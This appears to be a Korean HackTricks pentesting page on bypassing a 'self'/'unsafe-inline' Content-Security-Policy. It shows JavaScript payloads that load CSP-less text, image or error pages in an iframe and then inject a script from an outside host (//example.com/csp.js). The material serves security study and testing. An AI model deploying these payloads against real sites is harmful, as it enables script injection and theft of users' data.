mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
80 lines
4.6 KiB
Markdown
80 lines
4.6 KiB
Markdown
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
|
|
|
</details>
|
|
|
|
|
|
다음과 같은 구성:
|
|
```
|
|
Content-Security-Policy: default-src 'self' 'unsafe-inline';
|
|
```
|
|
어떤 함수들이 문자열로 전달된 코드를 실행하는 것을 금지합니다. 예를 들어, `eval, setTimeout, setInterval`은 모두 `unsafe-eval` 설정 때문에 차단됩니다.
|
|
|
|
외부 소스로부터의 모든 콘텐츠도 차단됩니다. 이미지, CSS, 웹소켓, 특히 JS까지 모두 포함됩니다.
|
|
|
|
### 텍스트 및 이미지를 통한 우회
|
|
|
|
현대적인 브라우저들은 이미지와 텍스트를 HTML로 변환하여 표시를 개선합니다 (예: 배경 설정, 가운데 정렬 등). 따라서 `favicon.ico`나 `robots.txt`와 같은 이미지나 텍스트 파일이 `iframe`을 통해 열리면 HTML로 렌더링됩니다. 특히, 이러한 페이지들은 종종 CSP 헤더가 없거나 X-Frame-Options를 포함하지 않을 수 있으므로 임의의 JavaScript를 실행할 수 있게 됩니다:
|
|
```javascript
|
|
frame=document.createElement("iframe");
|
|
frame.src="/css/bootstrap.min.css";
|
|
document.body.appendChild(frame);
|
|
script=document.createElement('script');
|
|
script.src='//example.com/csp.js';
|
|
window.frames[0].document.head.appendChild(script);
|
|
```
|
|
### 오류를 통한 우회
|
|
|
|
마찬가지로, 텍스트 파일이나 이미지와 같은 오류 응답은 일반적으로 CSP 헤더가 없을 수 있으며 X-Frame-Options를 생략할 수도 있습니다. 오류를 iframe 내에서 로드하도록 유도함으로써 다음과 같은 작업을 수행할 수 있습니다:
|
|
```javascript
|
|
// Inducing an nginx error
|
|
frame=document.createElement("iframe");
|
|
frame.src="/%2e%2e%2f";
|
|
document.body.appendChild(frame);
|
|
|
|
// Triggering an error with a long URL
|
|
frame=document.createElement("iframe");
|
|
frame.src="/"+"A".repeat(20000);
|
|
document.body.appendChild(frame);
|
|
|
|
// Generating an error via extensive cookies
|
|
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
|
|
frame=document.createElement("iframe");
|
|
frame.src="/";
|
|
document.body.appendChild(frame);
|
|
// Removal of cookies is crucial post-execution
|
|
for(var i=0;i<5;i++){document.cookie=i+"="}
|
|
```
|
|
언급된 시나리오 중 하나를 트리거한 후에는 다음과 같이 iframe 내에서 JavaScript 실행이 가능합니다:
|
|
```javascript
|
|
script=document.createElement('script');
|
|
script.src='//example.com/csp.js';
|
|
window.frames[0].document.head.appendChild(script);
|
|
```
|
|
## 참고 자료
|
|
|
|
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
|
|
</details>
|